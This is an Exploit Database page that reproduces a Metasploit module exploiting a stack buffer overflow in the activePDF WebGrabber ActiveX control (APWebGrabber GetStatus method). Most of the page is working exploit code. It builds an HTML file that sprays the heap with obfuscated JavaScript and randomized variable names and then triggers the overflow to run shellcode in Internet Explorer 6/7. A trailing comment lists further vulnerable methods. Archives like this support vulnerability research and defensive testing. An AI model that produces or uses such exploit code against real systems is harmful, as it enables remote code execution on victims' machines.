



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

activePDF WebGrabber - ActiveX Control Buffer Overflow (Metasploit)

EDB-ID:

16635

CVE:

EDB Verified: 

Author:

[METASPLOIT](#)

Type:

[REMOTE](#)

Exploit:  

Platform:

[WINDOWS](#)

Date:

2010-11-11

Vulnerable App:



 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

```
##
# $Id: activepdf_webgrabber.rb 10998 2010-11-11 22:43:22Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = LowRanking

  include Msf::Exploit::FILEFORMAT

  def initialize(info = {})
    super(update_info(info,
      'Name' => 'activePDF WebGrabber ActiveX Control
Buffer Overflow',
      'Description' => %q{
        This module exploits a stack buffer overflow in
        activePDF WebGrabber 3.8. When
        sending an overly long string to the GetStatus() method of
        APWebGrb.ocx (3.8.2.0)
        an attacker may be able to execute arbitrary code. This
        control is not marked safe
        for scripting, so choose your attack vector accordingly.
      },
      'License' => MSF_LICENSE,
      'Author' => [ 'MC' ],
      'Version' => '$Revision: 10998 $',
      'References' =>
        [
          [ 'OSVDB', '64579' ],
          [ 'URL',
'http://www.activepdf.com/products/serverproducts/webgrabber/' ],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'DisablePayloadHandler' => 'true',
        },
      'Payload' =>
        {
          'Space' => 1024,
          'BadChars' => "\x00",
        },
      'Platform' => 'win',
      'Targets' =>
        [
          [ 'Windows XP SP0-SP3 / Windows Vista / IE 6.0 SP0-SP2
/ IE 7', { 'Ret' => 0x0A0A0A0A } ]
        ],
      'DisclosureDate' => 'Aug 26 2008',
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('FILENAME', [ false, 'The file name.',
'msf.html' ]),
      ], self.class)
  end
end
```



EXPLOIT DATABASE



EXPLOITS



GHDB



PAPERS



SHELLCODES



SEARCH EDB



SEARCHSPLOIT MANUAL



SUBMISSIONS



ONLINE TRAINING

```

def exploit
  # Encode the shellcode.
  shellcode = Rex::Text.to_unescape(payload.encoded,
  Rex::Arch.endian(target.arch))

  # Create some nops.
  nops      = Rex::Text.to_unescape(make_nops(4))

  # Set the return.
  ret       = Rex::Text.uri_encode([target.ret].pack('L'))

  # Randomize the javascript variable names.
  vname     = rand_text_alpha(rand(100) + 1)
  var_i     = rand_text_alpha(rand(30)  + 2)
  rand1     = rand_text_alpha(rand(100) + 1)
  rand2     = rand_text_alpha(rand(100) + 1)
  rand3     = rand_text_alpha(rand(100) + 1)
  rand4     = rand_text_alpha(rand(100) + 1)
  rand5     = rand_text_alpha(rand(100) + 1)
  rand6     = rand_text_alpha(rand(100) + 1)
  rand7     = rand_text_alpha(rand(100) + 1)
  rand8     = rand_text_alpha(rand(100) + 1)

  content = %Q|<html>
<head>
<script>
try {
  var #{vname} = new ActiveXObject('APWebGrabber.Object');
  var #{rand1} = unescape("#{shellcode}");
  var #{rand2} = unescape("#{nops}");
  var #{rand3} = 20;
  var #{rand4} = #{rand3} + #{rand1}.length;
  while (#{rand2}.length < #{rand4}) #{rand2} += #{rand2};
  var #{rand5} = #{rand2}.substring(0,#{rand4});
  var #{rand6} = #{rand2}.substring(0,#{rand2}.length - #{rand4});
  while (#{rand6}.length + #{rand4} < 0x40000) #{rand6} = #{rand6} + #
{rand6} + #{rand5};
  var #{rand7} = new Array();
  for (#{var_i} = 0; #{var_i} < 400; #{var_i}++){ #{rand7}[#{var_i}] = #
{rand6} + #{rand1} }
  var #{rand8} = "";
  for (#{var_i} = 0; #{var_i} < 800; #{var_i}++){ #{rand8} = #{rand8} +
unescape("#{ret}") }
  #{vname}.GetStatus(#{rand8},1);
} catch( e ) { window.location = 'about:blank' ; }
</script>
</head>
</html>
|

  content = Rex::Text.randomize_space(content)

  print_status("Creating '#{datastore['FILENAME']}' file ...")

  file_create(content)
end

end

=begin

Other methods that are vulnerable.

[id(0x00000050), helpstring("Clean up after a WWWPrint call.")]
void CleanUp(BSTR ServerIPAddress, long ServerPort);

[id(0x00000055)]
BSTR Wait(BSTR IPAddress, long PortNumber, short WaitTime, BSTR
AcceptedCommands);

```

 EXPLOIT DATABASE

 EXPLOITS

 GHDB

 PAPERS

 SHELLCODES

 SEARCH EDB

 SEARCHSPLOIT MANUAL

 SUBMISSIONS

 ONLINE TRAINING

AcceptedCommands;

...and probably more.
=end

Tags: [Metasploit Framework](#)
[\(MSE\)](#)

Advisory/Source: [Link](#)



Databases ▾

Links ▾

Sites ▾

Solutions ▾



EXPLOIT DATABASE BY OFFSEC

[TERMS](#)

[PRIVACY](#)

[ABOUT US](#)

[FAQ](#)

[COOKIES](#) ©

[OffSec Services Limited](#) 2026. All rights reserved.